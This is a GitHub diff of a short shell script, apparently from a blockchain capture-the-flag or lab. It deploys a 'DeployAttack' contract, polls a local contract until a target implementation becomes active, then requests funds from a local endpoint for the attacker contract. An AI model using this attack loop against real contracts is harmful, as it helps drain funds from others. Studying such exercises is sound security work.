File tree Expand file tree Collapse file tree 1 file changed +4
-1
lines changed
Expand file tree Collapse file tree 1 file changed +4
-1
lines changed Original file line number Diff line number Diff line change 11
22forge script --chain sepolia --rpc-url http://127.0.0.1:8080/rpc --broadcast -vvvv script/DeployAttack.s.sol
33target_active=" 0x000000000000000000000000e5ed47bcc12028b9be183a80b8821119e9397ef7"
4+ attacker_contract=$( cat broadcast/DeployAttack.s.sol/31337/run-latest.json | jq ' .transactions[0].contractAddress' | tr -d ' "' )
5+ echo " attacking with $attacker_contract "
46while [ 1 -eq 1 ]
57do
68 current_active=$( cast call 0xe6cc6358e23fcb274c0e0696d6f9635bd9f223b1 " getImplementation1599d()" --rpc-url http://localhost:8080/rpc)
79 echo " Currently Active:$current_active "
810 if [ " $current_active " == " $target_active " ]; then
911 echo " Attacking"
10- curl http://localhost:8080/get-funds -H " Content-Type: application/json" -d ' {"address":"0x360B0B52025095275702d094Fce7C0d6087E3676"}'
12+ sleep 5
13+ curl http://localhost:8080/get-funds -H " Content-Type: application/json" -d " {\" address\" :\" $attacker_contract \" }"
1114 exit 0
1215 else
1316 echo " Not Attacking"
You can’t perform that action at this time.
0 commit comments